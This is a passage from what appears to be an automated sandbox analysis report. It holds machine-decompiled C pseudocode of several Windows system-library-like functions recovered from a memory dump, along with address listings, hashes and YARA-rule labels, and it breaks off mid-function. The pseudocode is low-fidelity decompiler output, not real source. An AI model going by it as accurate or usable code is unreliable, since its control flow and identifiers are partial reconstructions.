						goto L23;
					}
					if( *0x1367c04 != 0) {
						_t118 = _v12;
						_t120 = E012FA7AC(_t119, _t118, _t109);
						__eflags = _t120;
						if(_t120 >= 0) {
							goto L10;
						}
						__eflags =  *0x1367bd8;
						if( *0x1367bd8 != 0) {
							L20:
							if(_v12 != 0xffffffff) {
								_push(_v12);
								E012B95D0();
							}
							goto L22;
						}
					}
					L10:
					_push(_v12);
					_t105 = _t119 + 0xc;
					_push(0x1000000);
					_push(0x10);
					_push(0);
					_push(0);
					_push(0xf);
					_push(_t105);
					_t120 = E012B99A0();
					if(_t120 < 0) {
						__eflags = _t120 - 0xc000047e;
						if(_t120 == 0xc000047e) {
							L51:
							_t74 = E012F3540(_t120);
							_t119 = _v16;
							_t120 = _t74;
							L52:
							_t118 = 0x1485;
							E0127B1E1(_t120, 0x1485, 0, _t119);
							goto L20;
						}
						__eflags = _t120 - 0xc000047f;
						if(_t120 == 0xc000047f) {
							goto L51;
						}
						__eflags = _t120 - 0xc0000462;
						if(_t120 == 0xc0000462) {
							goto L51;
						}
						_t119 = _v16;
						__eflags = _t120 - 0xc0000017;
						if(_t120 != 0xc0000017) {
							__eflags = _t120 - 0xc000009a;
							if(_t120 != 0xc000009a) {
								__eflags = _t120 - 0xc000012d;
								if(_t120 != 0xc000012d) {
									_v28 = _t119;
									_push( &_v56);
									_push(1);
									_v24 = _t120;
									_push( &_v28);
									_push(1);
									_push(2);
									_push(0xc000007b);
									_t79 = E012BAAF0();
									__eflags = _t79;
									if(_t79 >= 0) {
										__eflags =  *0x1368474 - 3;
										if( *0x1368474 != 3) {
											 *0x13679dc =  *0x13679dc + 1;
										}
									}
								}
							}
						}
						goto L52;
					}
					if(E01297D50() != 0) {
						_t83 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t83 = 0x7ffe0384;
					}
					if( *_t83 != 0) {
						_t84 =  *[fs:0x30];
						__eflags =  *(_t84 + 0x240) & 0x00000004;
						if(( *(_t84 + 0x240) & 0x00000004) != 0) {
							_t94 = E01297D50();
							__eflags = _t94;
							if(_t94 == 0) {
								_t95 = 0x7ffe0385;
							} else {
								_t95 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t95 & 0x00000020;
							if(( *_t95 & 0x00000020) != 0) {
								E012F7016(0x1486, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					if(( *(_t119 + 0x10) & 0x00000100) == 0) {
						if( *0x1368708 != 0) {
							_t118 =  *0x7ffe0330;
							_t123 =  *0x1367b00; // 0x0
							asm("ror esi, cl");
							 *0x136b1e0(_v12, _v20, 0x20);
							_t93 =  *(_t123 ^  *0x7ffe0330)();
							_t50 = _t93 + 0x3ffffddb; // 0x3ffffddb
							asm("sbb esi, esi");
							_t120 =  ~_t50 & _t93;
						} else {
							_t120 = 0;
						}
					}
					if( !_t120 >= 0) {
						L19:
						_push( *_t105);
						E012B95D0();
						 *_t105 =  *_t105 & 0x00000000;
						goto L20;
					}
					_t120 = E01287F65(_t119);
					if( *((intOrPtr*)(_t119 + 0x60)) != 0) {
						__eflags = _t120;
						if(_t120 < 0) {
							goto L19;
						}
						 *(_t119 + 0x64) = _v12;
						goto L22;
					}
					goto L19;
				}
			}

0x012a03f1
0x012a03f7
0x012a03f9
0x012a03fb
0x012a03fd
0x012a0400
0x012a040a
0x012e4c7a
0x012a0537
0x012a0547
0x012a0410
0x012a0410
0x012a0414
0x012a0417
0x012a041a
0x012a0421
0x012a0424
0x012a042b
0x012a043b
0x012a043e
0x012a043f
0x012a043f
0x012a0446
0x012a0449
0x012a044c
0x012a044f
0x012a0459
0x012e4c8d
0x012a045f
0x012a045f
0x012a045f
0x012a0467
0x012e4c97
0x012e4c9d
0x012e4ca4
0x012e4caa
0x012e4caf
0x012e4cb1
0x012e4cc3
0x012e4cb3
0x012e4cbc
0x012e4cbc
0x012e4cc8
0x012e4ccb
0x012e4cd7
0x012e4cda
0x012e4cdf
0x012e4cdf
0x012e4ccb
0x012e4ca4
0x012a046d
0x012a046f
0x012a046f
0x012a0471
0x012a0476
0x012a047a
0x012a047b
0x012a0483
0x012a0489
0x012a048d
0x00000000
0x00000000
0x012e4ce9
0x012e4cef
0x012e4d22
0x012e4d22
0x00000000
0x012e4d22
0x012e4cf1
0x012e4cf7
0x00000000
0x00000000
0x012e4cf9
0x012e4cff
0x00000000
0x00000000
0x012e4d05
0x012e4d07
0x00000000
0x00000000
0x012e4d0d
0x012e4d0f
0x012e4d14
0x012e4d16
0x00000000
0x00000000
0x012e4d1c
0x012e4d1c
0x012a0499
0x012a0535
0x012a0535
0x00000000
0x012a0535
0x012a04a6
0x012e4d2c
0x012e4d37
0x012e4d39
0x012e4d3b
0x00000000
0x00000000
0x012e4d41
0x012e4d48
0x012a0527
0x012a052b
0x012a052d
0x012a0530
0x012a0530
0x00000000
0x012a052b
0x012e4d4e
0x012a04ac
0x012a04ac
0x012a04af
0x012a04b2
0x012a04b7
0x012a04b9
0x012a04bb
0x012a04bd
0x012a04bf
0x012a04c5
0x012a04c9
0x012e4d53
0x012e4d59
0x012e4db9
0x012e4dba
0x012e4dbf
0x012e4dc2
0x012e4dc4
0x012e4dc7
0x012e4dce
0x00000000
0x012e4dce
0x012e4d5b
0x012e4d61
0x00000000
0x00000000
0x012e4d63
0x012e4d69
0x00000000
0x00000000
0x012e4d6b
0x012e4d6e
0x012e4d74
0x012e4d76
0x012e4d7c
0x012e4d7e
0x012e4d84
0x012e4d89
0x012e4d8c
0x012e4d8d
0x012e4d92
0x012e4d95
0x012e4d96
0x012e4d98
0x012e4d9a
0x012e4d9f
0x012e4da4
0x012e4da6
0x012e4da8
0x012e4daf
0x012e4db1
0x012e4db1
0x012e4daf
0x012e4da6
0x012e4d84
0x012e4d7c
0x00000000
0x012e4d74
0x012a04d6
0x012e4de1
0x012a04dc
0x012a04dc
0x012a04dc
0x012a04e4
0x012e4deb
0x012e4df1
0x012e4df8
0x012e4dfe
0x012e4e03
0x012e4e05
0x012e4e17
0x012e4e07
0x012e4e10
0x012e4e10
0x012e4e1c
0x012e4e1f
0x012e4e35
0x012e4e35
0x012e4e1f
0x012e4df8
0x012a04f1
0x012a04fa
0x012e4e3f
0x012e4e47
0x012e4e5b
0x012e4e61
0x012e4e67
0x012e4e69
0x012e4e71
0x012e4e73
0x012a0500
0x012a0500
0x012a0500
0x012a04fa
0x012a0508
0x012a051d
0x012a051d
0x012a051f
0x012a0524
0x00000000
0x012a0524
0x012a0515
0x012a0517
0x012e4e7a
0x012e4e7c
0x00000000
0x00000000
0x012e4e85
0x00000000
0x012e4e85
0x00000000
0x012a0517

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e84c7c3dc791b0d5236dff96ba25c2bc9f6027cb5b8ad199c00cd65c33a3ba7
Instruction ID: af4ade63589557bbcb92c7c3122554b202b16cd7d3b3b99849db7c3bd6de05de
Opcode Fuzzy Hash: 6e84c7c3dc791b0d5236dff96ba25c2bc9f6027cb5b8ad199c00cd65c33a3ba7
Instruction Fuzzy Hash: A3912431E20256AFEB22AA6CC848BBD7BE4FB05724F450265FB10EB2E1D7749D40C795

Uniqueness

Uniqueness Score: -1.00%

Function 0127C600, Relevance: .2, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0127C600(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				char _v1036;
				signed int _v1040;
				char _v1048;
				signed int _v1052;
				signed char _v1056;
				void* _v1058;
				char _v1060;
				signed int _v1064;
				void* _v1068;
				intOrPtr _v1072;
				void* _v1084;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t70;
				intOrPtr _t72;
				signed int _t74;
				intOrPtr _t77;
				signed int _t78;
				signed int _t81;
				void* _t101;
				signed int _t102;
				signed int _t107;
				signed int _t109;
				signed int _t110;
				signed char _t111;
				signed int _t112;
				signed int _t113;
				signed int _t114;
				intOrPtr _t116;
				void* _t117;
				char _t118;
				void* _t120;
				char _t121;
				signed int _t122;
				signed int _t123;
				signed int _t125;

				_t125 = (_t123 & 0xfffffff8) - 0x424;
				_v8 =  *0x136d360 ^ _t125;
				_t116 = _a4;
				_v1056 = _a16;
				_v1040 = _a24;
				if(E01286D30( &_v1048, _a8) < 0) {
					L4:
					_pop(_t117);
					_pop(_t120);
					_pop(_t101);
					return E012BB640(_t68, _t101, _v8 ^ _t125, _t114, _t117, _t120);
				}
				_t70 = _a20;
				if(_t70 >= 0x3f4) {
					_t121 = _t70 + 0xc;
					L19:
					_t107 =  *( *[fs:0x30] + 0x18);
					__eflags = _t107;
					if(_t107 == 0) {
						L60:
						_t68 = 0xc0000017;
						goto L4;
					}
					_t72 =  *0x1367b9c; // 0x0
					_t74 = L01294620(_t107, _t107, _t72 + 0x180000, _t121);
					_v1064 = _t74;
					__eflags = _t74;
					if(_t74 == 0) {
						goto L60;
					}
					_t102 = _t74;
					_push( &_v1060);
					_push(_t121);
					_push(_t74);
					_push(2);
					_push( &_v1048);
					_push(_t116);
					_t122 = E012B9650();
					__eflags = _t122;
					if(_t122 >= 0) {
						L7:
						_t114 = _a12;
						__eflags = _t114;
						if(_t114 != 0) {
							_t77 = _a20;
							L26:
							_t109 =  *(_t102 + 4);
							__eflags = _t109 - 3;
							if(_t109 == 3) {
								L55:
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									L59:
									_t122 = 0xc0000024;
									L15:
									_t78 = _v1052;
									__eflags = _t78;
									if(_t78 != 0) {
										L012977F0( *( *[fs:0x30] + 0x18), 0, _t78);
									}
									_t68 = _t122;
									goto L4;
								}
								_t110 = _v1056;
								_t118 =  *((intOrPtr*)(_t102 + 8));
								_v1060 = _t118;
								__eflags = _t110;
								if(_t110 == 0) {
									L10:
									_t122 = 0x80000005;
									L11:
									_t81 = _v1040;
									__eflags = _t81;
									if(_t81 == 0) {
										goto L15;
									}
									__eflags = _t122;
									if(_t122 >= 0) {
										L14:
										 *_t81 = _t118;
										goto L15;
									}
									__eflags = _t122 - 0x80000005;
									if(_t122 != 0x80000005) {
										goto L15;
									}
									goto L14;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t77;
								if( *((intOrPtr*)(_t102 + 8)) > _t77) {
									goto L10;
								}
								_push( *((intOrPtr*)(_t102 + 8)));
								_t59 = _t102 + 0xc; // 0xc
								_push(_t110);
								L54:
								E012BF3E0();
								_t125 = _t125 + 0xc;
								goto L11;
							}
							__eflags = _t109 - 7;
							if(_t109 == 7) {
								goto L55;
							}
							_t118 = 4;
							__eflags = _t109 - _t118;
							if(_t109 != _t118) {
								__eflags = _t109 - 0xb;
								if(_t109 != 0xb) {
									__eflags = _t109 - 1;
									if(_t109 == 1) {
										__eflags = _t114 - _t118;
										if(_t114 != _t118) {
											_t118 =  *((intOrPtr*)(_t102 + 8));
											_v1060 = _t118;
											__eflags = _t118 - _t77;
											if(_t118 > _t77) {
												goto L10;
											}
											_push(_t118);
											_t56 = _t102 + 0xc; // 0xc
											_push(_v1056);
											goto L54;
										}
										__eflags = _t77 - _t118;
										if(_t77 != _t118) {
											L34:
											_t122 = 0xc0000004;
											goto L15;
										}
										_t111 = _v1056;
										__eflags = _t111 & 0x00000003;
										if((_t111 & 0x00000003) == 0) {
											_v1060 = _t118;
											__eflags = _t111;
											if(__eflags == 0) {
												goto L10;
											}
											_t42 = _t102 + 0xc; // 0xc
											 *((intOrPtr*)(_t125 + 0x20)) = _t42;
											_v1048 =  *((intOrPtr*)(_t102 + 8));
											_push(_t111);
											 *((short*)(_t125 + 0x22)) =  *((intOrPtr*)(_t102 + 8));
											_push(0);
											_push( &_v1048);
											_t122 = E012B13C0(_t102, _t118, _t122, __eflags);
											L44:
											_t118 = _v1072;
											goto L11;
										}
										_t122 = 0x80000002;
										goto L15;
									}
									_t122 = 0xc0000024;
									goto L44;
								}
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									goto L59;
								}
								_t118 = 8;
								__eflags = _t77 - _t118;
								if(_t77 != _t118) {
									goto L34;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
								if( *((intOrPtr*)(_t102 + 8)) != _t118) {
									goto L34;
								}
								_t112 = _v1056;
								_v1060 = _t118;
								__eflags = _t112;
								if(_t112 == 0) {
									goto L10;
								}
								 *_t112 =  *((intOrPtr*)(_t102 + 0xc));
								 *((intOrPtr*)(_t112 + 4)) =  *((intOrPtr*)(_t102 + 0x10));
								goto L11;
							}
							__eflags = _t114 - _t118;
							if(_t114 != _t118) {
								goto L59;
							}
							__eflags = _t77 - _t118;
							if(_t77 != _t118) {
								goto L34;
							}
							__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
							if( *((intOrPtr*)(_t102 + 8)) != _t118) {
								goto L34;
							}
							_t113 = _v1056;
							_v1060 = _t118;
							__eflags = _t113;
							if(_t113 == 0) {
								goto L10;
							}
							 *_t113 =  *((intOrPtr*)(_t102 + 0xc));
							goto L11;
						}
						_t118 =  *((intOrPtr*)(_t102 + 8));
						__eflags = _t118 - _a20;
						if(_t118 <= _a20) {
							_t114 =  *(_t102 + 4);
							_t77 = _t118;
							goto L26;
						}
						_v1060 = _t118;
						goto L10;
					}
					__eflags = _t122 - 0x80000005;
					if(_t122 != 0x80000005) {
						goto L15;
					}
					L012977F0( *( *[fs:0x30] + 0x18), 0, _t102);
					L18:
					_t121 = _v1060;
					goto L19;
				}
				_push( &_v1060);
				_push(0x400);
				_t102 =  &_v1036;
				_push(_t102);
				_push(2);
				_push( &_v1048);
				_push(_t116);
				_t122 = E012B9650();
				if(_t122 >= 0) {
					__eflags = 0;
					_v1052 = 0;
					goto L7;
				}
				if(_t122 == 0x80000005) {
					goto L18;
				}
				goto L4;
			}

0x0127c608
0x0127c615
0x0127c625
0x0127c62d
0x0127c635
0x0127c640
0x0127c680
0x0127c687
0x0127c688
0x0127c689
0x0127c694
0x0127c694
0x0127c642
0x0127c64a
0x0127c697
0x012e7a25
0x012e7a2b
0x012e7a2e
0x012e7a30
0x012e7bea
0x012e7bea
0x00000000
0x012e7bea
0x012e7a36
0x012e7a43
0x012e7a48
0x012e7a4c
0x012e7a4e
0x00000000
0x00000000
0x012e7a58
0x012e7a5a
0x012e7a5b
0x012e7a5c
0x012e7a5d
0x012e7a63
0x012e7a64
0x012e7a6a
0x012e7a6c
0x012e7a6e
0x012e79cb
0x012e79cb
0x012e79ce
0x012e79d0
0x012e7a98
0x012e7a9b
0x012e7a9b
0x012e7a9e
0x012e7aa1
0x012e7bbe
0x012e7bbe
0x012e7bc0
0x012e7be0
0x012e7be0
0x012e7a01
0x012e7a01
0x012e7a05
0x012e7a07
0x012e7a15
0x012e7a15
0x012e7a1a
0x00000000
0x012e7a1a
0x012e7bc2
0x012e7bc6
0x012e7bc9
0x012e7bcd
0x012e7bcf
0x012e79e6
0x012e79e6
0x012e79eb
0x012e79eb
0x012e79ef
0x012e79f1
0x00000000
0x00000000
0x012e79f3
0x012e79f5
0x012e79ff
0x012e79ff
0x00000000
0x012e79ff
0x012e79f7
0x012e79fd
0x00000000
0x00000000
0x00000000
0x012e79fd
0x012e7bd5
0x012e7bd8
0x00000000
0x00000000
0x012e7ba9
0x012e7bac
0x012e7bb0
0x012e7bb1
0x012e7bb1
0x012e7bb6
0x00000000
0x012e7bb6
0x012e7aa7
0x012e7aaa
0x00000000
0x00000000
0x012e7ab2
0x012e7ab3
0x012e7ab5
0x012e7aec
0x012e7aef
0x012e7b25
0x012e7b28
0x012e7b62
0x012e7b64
0x012e7b8f
0x012e7b92
0x012e7b96
0x012e7b98
0x00000000
0x00000000
0x012e7b9e
0x012e7b9f
0x012e7ba3
0x00000000
0x012e7ba3
0x012e7b66
0x012e7b68
0x012e7ae2
0x012e7ae2
0x00000000
0x012e7ae2
0x012e7b6e
0x012e7b72
0x012e7b75
0x012e7b81
0x012e7b85
0x012e7b87
0x00000000
0x00000000
0x012e7b31
0x012e7b34
0x012e7b3c
0x012e7b45
0x012e7b46
0x012e7b4f
0x012e7b51
0x012e7b57
0x012e7b59
0x012e7b59
0x00000000
0x012e7b59
0x012e7b77
0x00000000
0x012e7b77
0x012e7b2a
0x00000000
0x012e7b2a
0x012e7af1
0x012e7af3
0x00000000
0x00000000
0x012e7afb
0x012e7afc
0x012e7afe
0x00000000
0x00000000
0x012e7b00
0x012e7b03
0x00000000
0x00000000
0x012e7b05
0x012e7b09
0x012e7b0d
0x012e7b0f
0x00000000
0x00000000
0x012e7b18
0x012e7b1d
0x00000000
0x012e7b1d
0x012e7ab7
0x012e7ab9
0x00000000
0x00000000
0x012e7abf
0x012e7ac1
0x00000000
0x00000000
0x012e7ac3
0x012e7ac6
0x00000000
0x00000000
0x012e7ac8
0x012e7acc
0x012e7ad0
0x012e7ad2
0x00000000
0x00000000
0x012e7adb
0x00000000
0x012e7adb
0x012e79d6
0x012e79d9
0x012e79dc
0x012e7a91
0x012e7a94
0x00000000
0x012e7a94
0x012e79e2
0x00000000
0x012e79e2
0x012e7a74
0x012e7a7a
0x00000000
0x00000000
0x012e7a8a
0x012e7a21
0x012e7a21
0x00000000
0x012e7a21
0x0127c650
0x0127c651
0x0127c656
0x0127c65c
0x0127c65d
0x0127c663
0x0127c664
0x0127c66a
0x0127c66e
0x012e79c5
0x012e79c7
0x00000000
0x012e79c7
0x0127c67a
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4301b12f3aa60d3e865baac3c71be0f19a894242d94fd155b84eaeb34ecdb686
Instruction ID: 190393c1b47f5246f15c3d44a3ac8025b51a8645fe4a3190ff7981486290bc98
Opcode Fuzzy Hash: 4301b12f3aa60d3e865baac3c71be0f19a894242d94fd155b84eaeb34ecdb686
Instruction Fuzzy Hash: A781A0756642428FDB26CE58C885A7BB7E9EF84350F54486EEE459B341E330ED40CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 0130B8D0, Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E0130B8D0(void* __edx, intOrPtr _a4, intOrPtr _a8, signed char _a12, signed int** _a16) {
				char _v8;
				signed int _v12;
				signed int _t80;
				signed int _t83;
				intOrPtr _t89;
				signed int _t92;
				signed char _t106;
				signed int* _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				signed int _t114;
				void* _t115;
				void* _t117;
				void* _t119;
				void* _t122;
				signed int _t123;
				signed int* _t124;

				_t106 = _a12;
				if((_t106 & 0xfffffffc) != 0) {
					return 0xc000000d;
				}
				if((_t106 & 0x00000002) != 0) {
					_t106 = _t106 | 0x00000001;
				}
				_t109 =  *0x1367b9c; // 0x0
				_t124 = L01294620(_t109 + 0x140000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t109 + 0x140000, 0x424 + (_a8 - 1) * 0xc);
				if(_t124 != 0) {
					 *_t124 =  *_t124 & 0x00000000;
					_t124[1] = _t124[1] & 0x00000000;
					_t124[4] = _t124[4] & 0x00000000;
					if( *((intOrPtr*)( *[fs:0x18] + 0xf9c)) == 0) {
						L13:
						_push(_t124);
						if((_t106 & 0x00000002) != 0) {
							_push(0x200);
							_push(0x28);
							_push(0xffffffff);
							_t122 = E012B9800();
							if(_t122 < 0) {
								L33:
								if((_t124[4] & 0x00000001) != 0) {
									_push(4);
									_t64 =  &(_t124[1]); // 0x4
									_t107 = _t64;
									_push(_t107);
									_push(5);
									_push(0xfffffffe);
									E012B95B0();
									if( *_t107 != 0) {
										_push( *_t107);
										E012B95D0();
									}
								}
								_push(_t124);
								_push(0);
								_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
								L37:
								L012977F0();
								return _t122;
							}
							_t124[4] = _t124[4] | 0x00000002;
							L18:
							_t108 = _a8;
							_t29 =  &(_t124[0x105]); // 0x414
							_t80 = _t29;
							_t30 =  &(_t124[5]); // 0x14
							_t124[3] = _t80;
							_t123 = 0;
							_t124[2] = _t30;
							 *_t80 = _t108;
							if(_t108 == 0) {
								L21:
								_t112 = 0x400;
								_push( &_v8);
								_v8 = 0x400;
								_push(_t124[2]);
								_push(0x400);
								_push(_t124[3]);
								_push(0);
								_push( *_t124);
								_t122 = E012B9910();
								if(_t122 != 0xc0000023) {
									L26:
									if(_t122 != 0x106) {
										L40:
										if(_t122 < 0) {
											L29:
											_t83 = _t124[2];
											if(_t83 != 0) {
												_t59 =  &(_t124[5]); // 0x14
												if(_t83 != _t59) {
													L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t83);
												}
											}
											_push( *_t124);
											E012B95D0();
											goto L33;
										}
										 *_a16 = _t124;
										return 0;
									}
									if(_t108 != 1) {
										_t122 = 0;
										goto L40;
									}
									_t122 = 0xc0000061;
									goto L29;
								} else {
									goto L22;
								}
								while(1) {
									L22:
									_t89 =  *0x1367b9c; // 0x0
									_t92 = L01294620(_t112,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t89 + 0x140000, _v8);
									_t124[2] = _t92;
									if(_t92 == 0) {
										break;
									}
									_t112 =  &_v8;
									_push( &_v8);
									_push(_t92);
									_push(_v8);
									_push(_t124[3]);
									_push(0);
									_push( *_t124);
									_t122 = E012B9910();
									if(_t122 != 0xc0000023) {
										goto L26;
									}
									L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t124[2]);
								}
								_t122 = 0xc0000017;
								goto L26;
							}
							_t119 = 0;
							do {
								_t114 = _t124[3];
								_t119 = _t119 + 0xc;
								 *((intOrPtr*)(_t114 + _t119 - 8)) =  *((intOrPtr*)(_a4 + _t123 * 4));
								 *(_t114 + _t119 - 4) =  *(_t114 + _t119 - 4) & 0x00000000;
								_t123 = _t123 + 1;
								 *((intOrPtr*)(_t124[3] + _t119)) = 2;
							} while (_t123 < _t108);
							goto L21;
						}
						_push(0x28);
						_push(3);
						_t122 = E0127A7B0();
						if(_t122 < 0) {
							goto L33;
						}
						_t124[4] = _t124[4] | 0x00000001;
						goto L18;
					}
					if((_t106 & 0x00000001) == 0) {
						_t115 = 0x28;
						_t122 = E0130E7D3(_t115, _t124);
						if(_t122 < 0) {
							L9:
							_push(_t124);
							_push(0);
							_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
							goto L37;
						}
						L12:
						if( *_t124 != 0) {
							goto L18;
						}
						goto L13;
					}
					_t15 =  &(_t124[1]); // 0x4
					_t117 = 4;
					_t122 = E0130E7D3(_t117, _t15);
					if(_t122 >= 0) {
						_t124[4] = _t124[4] | 0x00000001;
						_v12 = _v12 & 0x00000000;
						_push(4);
						_push( &_v12);
						_push(5);
						_push(0xfffffffe);
						E012B95B0();
						goto L12;
					}
					goto L9;
				} else {
					return 0xc0000017;
				}
			}

0x0130b8d9
0x0130b8e4
0x00000000
0x0130b8e6
0x0130b8f3
0x0130b8f5
0x0130b8f5
0x0130b8f8
0x0130b920
0x0130b924
0x0130b936
0x0130b939
0x0130b93d
0x0130b948
0x0130b9a0
0x0130b9a0
0x0130b9a4
0x0130b9bf
0x0130b9c4
0x0130b9c6
0x0130b9cd
0x0130b9d1
0x0130bad4
0x0130bad8
0x0130bada
0x0130badc
0x0130badc
0x0130badf
0x0130bae0
0x0130bae2
0x0130bae4
0x0130baec
0x0130baee
0x0130baf0
0x0130baf0
0x0130baec
0x0130bafb
0x0130bafc
0x0130bafe
0x0130bb01
0x0130bb01
0x00000000
0x0130bb06
0x0130b9d7
0x0130b9db
0x0130b9db
0x0130b9de
0x0130b9de
0x0130b9e4
0x0130b9e7
0x0130b9ea
0x0130b9ec
0x0130b9ef
0x0130b9f3
0x0130ba1b
0x0130ba1b
0x0130ba23
0x0130ba24
0x0130ba27
0x0130ba2a
0x0130ba2b
0x0130ba2e
0x0130ba30
0x0130ba37
0x0130ba3f
0x0130ba9c
0x0130baa2
0x0130bb13
0x0130bb15
0x0130baae
0x0130baae
0x0130bab3
0x0130bab5
0x0130baba
0x0130bac8
0x0130bac8
0x0130baba
0x0130bacd
0x0130bacf
0x00000000
0x0130bacf
0x0130bb1a
0x00000000
0x0130bb1c
0x0130baa7
0x0130bb11
0x00000000
0x0130bb11
0x0130baa9
0x00000000
0x00000000
0x00000000
0x00000000
0x0130ba41
0x0130ba41
0x0130ba41
0x0130ba58
0x0130ba5d
0x0130ba62
0x00000000
0x00000000
0x0130ba64
0x0130ba67
0x0130ba68
0x0130ba69
0x0130ba6c
0x0130ba6f
0x0130ba71
0x0130ba78
0x0130ba80
0x00000000
0x00000000
0x0130ba90
0x0130ba90
0x0130ba97
0x00000000
0x0130ba97
0x0130b9f5
0x0130b9f7
0x0130b9f7
0x0130b9fa
0x0130ba03
0x0130ba07
0x0130ba0c
0x0130ba10
0x0130ba17
0x00000000
0x0130b9f7
0x0130b9a6
0x0130b9a8
0x0130b9af
0x0130b9b3
0x00000000
0x00000000
0x0130b9b9
0x00000000
0x0130b9b9
0x0130b94d
0x0130b98f
0x0130b995
0x0130b999
0x0130b960
0x0130b967
0x0130b968
0x0130b96a
0x00000000
0x0130b96a
0x0130b99b
0x0130b99e
0x00000000
0x00000000
0x00000000
0x0130b99e
0x0130b951
0x0130b954
0x0130b95a
0x0130b95e
0x0130b972
0x0130b979
0x0130b97d
0x0130b97f
0x0130b980
0x0130b982
0x0130b984
0x00000000
0x0130b984
0x00000000
0x0130b926
0x00000000
0x0130b926

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 630a35724cda2d9b978b966f2bd9506f66e4f600a345ba9e59b176b99f28f273
Instruction ID: 97e28baa763389f5bef23f94071c857136bbe625b8efad3591625897b4321790
Opcode Fuzzy Hash: 630a35724cda2d9b978b966f2bd9506f66e4f600a345ba9e59b176b99f28f273
Instruction Fuzzy Hash: D9710376250B06AFEB32CF18C860F66FBE5EF44768F144528E655876E4DB70E980CB50

Uniqueness

Uniqueness Score: -1.00%

Function 012F6DC9, Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E012F6DC9(signed int __ecx, void* __edx) {
				unsigned int _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				void* _t87;
				void* _t95;
				signed char* _t96;
				signed int _t107;
				signed int _t136;
				signed char* _t137;
				void* _t157;
				void* _t161;
				void* _t167;
				intOrPtr _t168;
				void* _t174;
				void* _t175;
				signed int _t176;
				void* _t177;

				_t136 = __ecx;
				_v44 = 0;
				_t167 = __edx;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v60 = 0;
				_v56 = 0;
				_v52 = 0;
				_v48 = 0;
				_v16 = __ecx;
				_t87 = L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0x248);
				_t175 = _t87;
				if(_t175 != 0) {
					_t11 = _t175 + 0x30; // 0x30
					 *((short*)(_t175 + 6)) = 0x14d4;
					 *((intOrPtr*)(_t175 + 0x20)) =  *((intOrPtr*)(_t167 + 0x10));
					 *((intOrPtr*)(_t175 + 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t167 + 8)) + 0xc));
					 *((intOrPtr*)(_t175 + 0x28)) = _t136;
					 *((intOrPtr*)(_t175 + 0x2c)) =  *((intOrPtr*)(_t167 + 0x14));
					E012F6B4C(_t167, _t11, 0x214,  &_v8);
					_v12 = _v8 + 0x10;
					_t95 = E01297D50();
					_t137 = 0x7ffe0384;
					if(_t95 == 0) {
						_t96 = 0x7ffe0384;
					} else {
						_t96 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t175);
					_push(_v12);
					_push(0x402);
					_push( *_t96 & 0x000000ff);
					E012B9AE0();
					_t87 = L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t175);
					_t176 = _v16;
					if((_t176 & 0x00000100) != 0) {
						_push( &_v36);
						_t157 = 4;
						_t87 = E012F795D( *((intOrPtr*)(_t167 + 8)), _t157);
						if(_t87 >= 0) {
							_v24 = E012F795D( *((intOrPtr*)(_t167 + 8)), 1,  &_v44);
							_v28 = E012F795D( *((intOrPtr*)(_t167 + 8)), 0,  &_v60);
							_push( &_v52);
							_t161 = 5;
							_t168 = E012F795D( *((intOrPtr*)(_t167 + 8)), _t161);
							_v20 = _t168;
							_t107 = L01294620( *[fs:0x30],  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0xca0);
							_v16 = _t107;
							if(_t107 != 0) {
								_v8 = _v8 & 0x00000000;
								 *(_t107 + 0x20) = _t176;
								 *((short*)(_t107 + 6)) = 0x14d5;
								_t47 = _t107 + 0x24; // 0x24
								_t177 = _t47;
								E012F6B4C( &_v36, _t177, 0xc78,  &_v8);
								_t51 = _v8 + 4; // 0x4
								_t178 = _t177 + (_v8 >> 1) * 2;
								_v12 = _t51;
								E012F6B4C( &_v44, _t177 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_v12 = _v12 + _v8;
								E012F6B4C( &_v60, _t178 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_t125 = _v8;
								_v12 = _v12 + _v8;
